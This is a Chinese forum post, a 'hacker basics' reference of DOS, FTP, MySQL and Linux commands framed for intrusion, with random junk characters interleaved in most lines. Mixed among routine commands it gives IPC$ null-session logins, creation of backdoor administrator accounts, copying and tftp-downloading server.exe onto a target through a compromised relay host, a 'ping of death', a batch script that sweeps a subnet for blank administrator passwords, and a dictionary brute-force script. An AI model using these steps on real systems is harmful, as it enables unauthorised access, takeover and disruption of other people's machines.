返回列表 发帖

黑客基础--最全的DOS命令

net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接
9 q. ]. p' u% vnet use [url=file://\\ip\ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接
  ~- {+ S5 y; d+ I2 h" ?# cnet use h: [url=file://\\ip\c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
. H( [6 O' o6 m+ Ynet use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H:
2 ^! r# w( w0 x- j' rnet use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接
" n, \' K1 t' s8 @; i0 g, Xnet use h: /del 删除映射对方到本地的为H:的映射
- Z9 s3 o' e: ?3 ?5 z7 ^* F$ `net user 用户名 密码 /add 建立用户
1 r3 l) b% z4 y) R1 `net user guest /active:yes 激活guest用户
8 g8 s/ l+ J' A& f% }7 Inet user 查看有哪些用户
- q' s" e. w3 ]2 d& ?; i7 }/ [5 Rnet user 帐户名 查看帐户的属性 / l! ~% E: K; @$ s3 C: L
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 + A, U* p& u, d; e! s6 I; u
net start 查看开启了哪些服务
2 r; P( r( b$ I- N3 xnet start 服务名  开启服务;(如:net start telnet, net start schedule) ! _" B4 q  j: ^7 K+ F! H; c& K
net stop 服务名 停止某服务
$ o) i& b' I  H$ ~net time \\目标ip 查看对方时间 ; Z4 D; e0 r. a0 O. ~4 m
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 ) r2 X+ D4 v* z% ?/ M
net view 查看本地局域网内开启了哪些共享
6 r+ y  u5 w# g; ~+ a* ynet view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享
8 j' l* D, J- W" b! s! [net config 显示系统网络设置
+ v0 Z0 o+ x: _# M9 Jnet logoff 断开连接的共享 5 e: E; o# ]# F" [
net pause 服务名 暂停某服务 ) A  ~0 P& e# D# Y& f4 a
net send ip "文本信息" 向对方发信息 ; C% o* D5 b- m4 D$ a2 r
net ver 局域网内正在使用的网络连接类型和信息 1 V( e" u* e5 b" a" T; ?, r, Z
net share 查看本地开启的共享
2 [' e; T& W% P3 jnet share ipc$ 开启ipc$共享 % a0 S1 T  H1 @; Y; n$ d
net share ipc$ /del 删除ipc$共享 3 I8 h- _  O6 A0 N2 F2 O3 u
net share c$ /del 删除C:共享 " x- ?, C3 Z* l6 I1 T/ w0 s* U
net user guest 12345 用guest用户登陆后用将密码改为12345 2 K' T$ C% P7 S& D9 S
net password 密码 更改系统登陆密码
" j. L8 T; B& {netstat -a 查看开启了哪些端口,常用netstat -an
% A+ p* r1 H" k- R; w8 \/ g. {netstat -n 查看端口的网络连接情况,常用netstat -an
5 F5 r4 I1 N% G+ Onetstat -v 查看正在进行的工作 0 X6 T# d' e; _: o: m* i8 U: ]
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) - i  n" `% d8 u' `% v: D
netstat -s 查看正在使用的所有协议使用情况   q& z$ d0 w% ^
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 - Z; I/ G/ ^' b9 `& m0 Z
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 ( k. V* n; m$ ~# o% M# z; ]
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 " g. y& T! I% y
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
$ G) e! U4 M" s9 R. g. x. J6 @2 \ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
# r6 \; Y9 N5 l. ktlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) / Y! X! [- W$ m( M( \# U( F
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) * q9 ^8 A' M/ a4 p/ s% M
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   n3 A% W: d6 B8 a* O+ O7 |5 ]
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) ) s5 x7 a8 W4 q; k$ l3 P' `" q
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
% ~3 Q/ h. U9 ?fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 ! G  z% V; ]1 y/ |8 G( v
at id号 开启已php?name=%D7%A2%B2%E1"  class="t_tag">注册的某个计划任务 7 m2 Y2 v- D8 M7 E0 _
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
( U' N( ?$ |7 @4 ?; h- lat id号 /delete 停止某个已注册的计划任务
5 t+ Q4 J3 r: U8 Rat 查看所有的计划任务
  I" A* d/ B8 W( d8 T7 [" kat [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
2 `1 K8 H8 P/ u9 _/ N- ~6 [finger username @host 查看最近有哪些用户登陆
/ Y  {, n. L5 F( `telnet ip 端口 远和登陆服务器,默认端口为23 6 k: {% _. D! H3 w- p# u
open ip 连接到IP(属telnet登陆后的命令)
& R; s" j" g1 d) s/ A5 |telnet 在本机上直接键入telnet 将进入本机的telnet
$ T9 O4 O+ }- a3 Ecopy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
3 F2 N0 h8 k4 G6 ?5 M5 v' Fcopy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下
4 j2 w, h+ F; G8 Q  a6 w! ~cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
/ X/ I# c' w* hcopy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: % {9 w. g0 I5 v! o* Q% b& @
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 # S* [! A- T9 E$ U+ c
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 5 g+ j4 [% U4 C6 A) a9 b
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机 . t8 i2 I5 @0 \- n) e0 z7 K
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
$ m7 q. k& c2 h$ troute print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface 7 ]: y( b, G0 E# l
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 ' Q4 k! I) X) u' B; x
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 9 k; f5 T6 e. b7 D
mem 查看cpu使用情况
% n+ J3 T0 P" X( |3 `  yattrib 文件名(目录名) 查看某文件(目录)的属性
. W& P, u% l/ m7 C) U9 ]; vattrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 : n+ ~" @. u  Q
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 9 l' N. H5 M/ B; ^$ q  c# P
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 - ^! d" Z9 D& {8 _, Z6 p) x- S* j8 U
set 指定环境变量名称=要指派给变量的字符 设置环境变量
! c; a" g& [" y* }& Hset 显示当前所有的环境变量 " w9 L$ e9 A4 q% m8 ]
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
3 g* l& m; {; T3 w1 ^$ ~pause 暂停批处理程序,并显示出:请按任意键继续.... ; i; c3 u: `0 _: q5 B
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
) A. }% @( h1 G+ fgoto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) ' w/ m# |) }! W$ O3 B' @4 w  I
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
" s1 Q. J7 Y% I5 l" ~for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) ' X: K8 G/ X# w! X  h# f0 D" M/ n
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 6 `3 R  G) K  x# R% k. j
echo 信息 在屏幕上显示出信息 , w. `4 v) D2 c0 G* f3 p
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 ' M; D2 {, d7 P
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 5 W, `) p6 q- |3 V2 J
find 文件名 查找某文件
$ s' b0 a$ M" ?; ititle 标题名字 更改CMD窗口标题名字 - D4 l( |! u- [/ a9 K& W
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 1 r/ I( t6 b; f# Y' J
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ ) + v  d* |6 V0 }+ u8 J! M0 X9 L5 K- {
print 文件名 打印文本文件
4 L* C# l+ j, V% X& Tver 在DOS窗口下显示版本信息 + L- H' x  _$ j1 q, ]- s
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) 3 L1 _' w2 t6 E" o: M% e# x
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
: w+ b, n- _+ s2 z. K7 O# Vmd 目录名 创建目录
) z! ~5 h. @# l( G" lreplace 源文件 要替换文件的目录 替换文件
3 Z, @) Q, b0 u# r0 jren 原文件名 新文件名 重命名文件名 5 N7 i4 n3 d# F% V5 ^
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 $ O& w7 x3 E4 d( q  I8 S+ K
type 文件名 显示文本文件的内容 ! S: @0 m. o4 v, ]( }$ m/ x
more 文件名 逐屏显示输出文件 8 t! c/ p6 C" A+ T
doskey 要锁定的命令=字符
$ d3 e8 |1 N% N9 i4 Y, [doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
; j# C" a' C5 U3 {$ p4 etaskmgr 调出任务管理器
& t7 |2 n/ u& jchkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 ( r3 q6 w# f$ l. p5 U* l& L! Q( _" s
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
; x4 W: I$ [8 l  c/ hexit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
& W" W) _& c* p  _2 Vpath 路径\可执行文件的文件名 为可执行文件设置一个路径。
# R4 {9 _( @2 E" @- qcmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? 3 q$ {- h: B! W- L1 o
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
( F% ?4 l- J9 `# b0 _: u1 Eregedit /e 注册表文件名 导出注册表 6 b' k( g2 X4 E1 d  ]
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 - ^& V* }, n0 f& Y5 C0 D9 i
cacls 文件名 查看文件的访问用户权限列表 + C! Y- V3 ^& q3 }4 l: p; m
REM 文本内容 在批处理文件中添加注解 , o9 M$ u; @: ^5 ^. x. d* g
netsh 查看或更改本地网络配置情况* b' e- |' |! `
IIS服务命令:' _. h- t1 @  y. K9 i* B2 J# C6 B
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) 2 l7 V' ~( l( J
iisreset /start或stop 启动(停止)所有Internet服务
( a2 j3 H- r" D/ f: }1 ?4 x9 _iisreset /restart 停止然后重新启动所有Internet服务 + x2 k4 E' A% T9 B) m- z
iisreset /status 显示所有Internet服务状态
5 i- k4 V/ t0 u; z; q0 t3 C  Viisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 5 P! l2 W! J% j. N; n
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 3 s; d. r1 @2 x6 u  z
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
4 B7 _1 T; G* X) `) miisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
( Z/ ?+ \, I* }  _FTP 命令: (后面有详细说明内容)
$ i% \" G* b* z0 C' gftp的命令行格式为:
" y( ^" \/ }0 R- ?, |( bftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
9 g5 m" Q) s. p/ a9 q" w-d 使用调试方式。
6 P, @5 [* ~) C0 p) h1 [; w-n 限制ftp的自动登录,即不使用.netrc文件。
& U9 Q1 v: m. q  U) Z-g 取消全局文件名。 + _+ E3 ^, K! R2 t% ]; c
help [命令] 或 ?[命令] 查看命令说明
# t& k- H1 G: K0 I8 qbye 或 quit 终止主机FTP进程,并退出FTP管理方式.
! O+ x1 V! |. @: y/ N9 zpwd 列出当前远端主机目录
( ^4 R* c9 k, P& V9 j9 N: M) b) Uput 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
) M; d8 b+ H1 X5 O! H8 Wget 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
9 J4 W6 z0 P! G3 _3 Nmget [remote-files] 从远端主机接收一批文件至本地主机
  F  `5 I( r* P; T) Jmput local-files 将本地主机中一批文件传送至远端主机 4 ]) }# A& m* G1 Y
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
9 J/ d0 J" M; H" Kascii 设定以ASCII方式传送文件(缺省值) 0 Z/ [$ W1 S; n, l( T
bin 或 image 设定以二进制方式传送文件
' A  ]3 n6 K3 N9 a* t! Y' vbell 每完成一次文件传送,报警提示 2 S; B* c5 K. Q2 i8 }
cdup 返回上一级目录 " \; t. @: Z% Z' M# |1 S" o) [
close 中断与远程服务器的ftp会话(与open对应)
4 x6 W! }. d* T$ W" Y% Sopen host[port] 建立指定ftp服务器连接,可指定连接端口
7 R/ g8 ~  X; f2 {$ R$ Odelete 删除远端主机中的文件
! [' a2 V, b2 W/ N5 B& i9 T- B& Zmdelete [remote-files] 删除一批文件
4 V. M0 w6 _6 K) Imkdir directory-name 在远端主机中建立目录 0 G) V) b" k9 p' D8 B  P+ m
rename [from] [to] 改变远端主机中的文件名 & i: {. l  H& u: V  L) [9 A' {
rmdir directory-name 删除远端主机中的目录 9 L3 u/ L% p' ^" f# s
status 显示当前FTP的状态 9 q" r& Z' ^  ?2 O
system 显示远端主机系统类型
8 k- ?* y/ k# tuser user-name [password] [account] 重新以别的用户名登录远端主机 + N& z7 X  ]" l) N8 i
open host [port] 重新建立一个新的连接 & s# E8 S1 H5 q
prompt 交互提示模式
1 s, k; _) S  ~/ C! }2 Bmacdef 定义宏命令
8 R& x3 A# \8 `lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 $ ^, F2 h& A. S
chmod 改变远端主机的文件权限
) G2 I# t! V6 lcase 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
" q0 R1 I0 Z& d1 p% D+ h9 scd remote-dir 进入远程主机目录 % Z( W7 Z  \6 d, s$ P, K( L+ h
cdup 进入远程主机目录的父目录
  E* K  t& w1 F& R# n# A! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip & |0 E1 G. m& v9 B' ]
MYSQL 命令:
! ?9 t* g+ F: Q9 ~mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
0 g0 o  C; i- v# x( M(例:mysql -h110.110.110.110 -Uroot -P123456 0 X) k8 i1 {9 h! O$ Z! }: |* r$ ?
注:u与root可以不用加空格,其它也一样) $ R+ S. I7 R$ M; s1 a# R, s  D
exit 退出MYSQL
( Q# N5 C/ ]* fmysqladmin -u用户名 -p旧密码 password 新密码 修改密码 2 R0 b6 H; l# J; ?8 W
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) 1 i4 V7 `9 t. X2 ~2 T! e
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   Q7 K+ F8 w$ O+ d/ s
use mysql;
2 Q7 k2 _7 B) e- Z4 D5 h9 wshow tables; 显示库中的数据表
# u. [# ^  k- xdescribe 表名; 显示数据表的结构 2 z2 _- u+ x+ }$ v. S6 S9 @" l9 G
create database 库名; 建库 : Z0 X5 ~* V  ?+ o# C2 r
use 库名;* h4 q. S0 F+ K9 o1 i8 G
create table 表名 (字段设定列表); 建表
' i: A! V' ^6 Q* @5 Ydrop database 库名; 4 U( B" ^( C; K  [1 x8 u
drop table 表名; 删库和删表
  I3 @6 Q! w- p" I0 i9 k( w7 g: Sdelete from 表名; 将表中记录清空
- V8 C* q6 j+ e$ @select * from 表名; 显示表中的记录 0 ^6 o, V" Z3 V
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 - S! v8 v' A7 E
win2003系统下新增命令(实用部份): - ~' I3 \. A. i, ?* Q
shutdown /参数 关闭或重启本地或远程主机。1 K2 i0 r3 ?  A: E) M
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。- y' d1 f( j1 [) E$ F9 p7 Z
例:shutdown /r /t 0 立即重启本地主机(无延时)
( P1 u& p# t7 n% t- ]& J$ z& [taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
5 ~7 X6 E- C, W参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
2 b: b$ ]9 ~/ r7 b9 ~! G. F5 l* Ltasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。7 M& n3 i1 D; u( q6 I# ]+ L
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程
2 m& c8 B8 d; E! i3 L- MLinux系统下基本命令: 要区分大小写
( p/ F& A& e% |2 h8 ouname 显示版本信息(同win2K的 ver) % g6 {7 g9 Y7 j0 _) b+ o4 q5 q/ n  |8 t! V
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) ( [5 T3 i0 m) M# B% x
pwd 查询当前所在的目录位置
. @) g% u: }/ L3 qcd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 5 J- O" S/ N  g( B, p
cat 文件名 查看文件内容 * }: p+ c  Y$ N3 s- ~2 M' O3 `
cat >abc.txt 往abc.txt文件中写上内容。
4 ?& ]/ R- P/ X- @1 |1 U; N/ rmore 文件名 以一页一页的方式显示一个文本文件。
1 O( J( @2 \+ e( ocp 复制文件
' ]. ~$ E; a* F8 U. d  r$ }# j, Smv 移动文件 * L; K; q& P; Q' m( Z1 l! O0 |
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
- t4 }. |, u; x* Nmkdir 目录名 建立目录 7 P% j2 j8 v( z' B$ A* W3 G$ B
rmdir 删除子目录,目录内没有文档。 5 P9 o( z5 D3 U8 p. t
chmod 设定档案或目录的存取权限   _4 t( p' \$ z% l4 b
grep 在档案中查找字符串
; s3 H3 M' q3 [- Z- A0 B) |) idiff 档案文件比较 5 h0 q5 ~! [) u8 G
find 档案搜寻
, K' q- B- k  {, Y' n' J1 qdate 现在的日期、时间 3 D& i* a2 a! I# t# ?7 W* A  D
who 查询目前和你使用同一台机器的人以及Login时间地点 9 i* j0 a, m' p5 ]3 [
w 查询目前上机者的详细资料 ) ^4 Z: l; i1 Q
whoami 查看自己的帐号名称
. E3 f1 j# ~! @groups 查看某人的Group ) h/ \% r& ]! X" H
passwd 更改密码
/ c6 M" l7 l. w( V  lhistory 查看自己下过的命令 + c# m# H2 O, v8 B( Z* i
ps 显示进程状态
/ b; N& U2 |6 ^  r1 K. S2 akill 停止某进程 7 t  S" B8 r1 |8 ~0 }  O
gcc 黑客通常用它来编译C语言写的文件
: X" O4 a! h+ @( K8 z7 jsu 权限转换为指定使用者
0 [/ ~) Z, p  {. n+ Q' ^6 a% A0 Dtelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
5 P; K7 ^6 _% vftp ftp连接上某服务器(同win2K( H2 _# J, E3 J1 p) ]" ^; q& \$ p
附:批处理命令与变量9 A8 T' B: H2 |$ ?3 P" `; R
1:for命令及变量 基本格式: & K3 z" `3 @9 ~  y
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。$ F$ @: k$ G; N% W3 j! o  Q7 k
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3/ X7 X! s3 i( w/ K, R0 Q7 x4 z) h/ A
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}
$ |' E! o8 d% X) D' e6 Bcommand:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
9 [1 A0 n9 b* E% H; F; jcommand_parameters:为特定命令指定参数或命令行开关2 P* Z/ C# I9 _) H; g
IN (set):指在(set)中取值;DO command :指执行command
% u7 }- t. ^. X2 T9 b: v参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
+ S) ], t3 q# K  `用法举例:
/ s. \# T3 Z& r: O@echo off / {# x0 x$ G  O5 I
echo 用法格式:test.bat *.*.* > test.txt 6 H- L/ l! }2 F: U* Y  E
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find "命令成功完成" >>test.txt
" s* j% G' A# U) }: r  A2 E存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
5 P" {* [! Q- z& \2 ^/ P( X9 n* h/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
- d0 ], `. E6 s; T  J3 H@echo off " Z( C; y* I2 W" P! D  `
echo 用法格式:ok.bat ip : z9 T" C. K) y
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
( d4 w# \0 ~5 z  z存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
* s& D  v% V. L# I2:if命令及变量 基本格式:
) x. B1 d' T! J& H# ]2 qIF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
) w, `. J  e6 m3 R2 ^$ R例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。6 `& {( p2 M- o& H  s! w) F# z
0 指发现并成功执行(真);1 指没有发现、没执行(假)。 ! O1 n! \; s% N( F/ H% v+ I: l! K; K; _
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
$ W1 W/ C) m' ^) H9 Y! j. h2 }  W$ F例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
) [$ N/ w# y% F, QIF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
$ X* ?7 j, e  D0 g4 J0 w, R$ J1 K例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
/ v3 J+ {1 G8 Q1 a/ ~" `- `IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

返回列表
【捌玖网络】已经运行: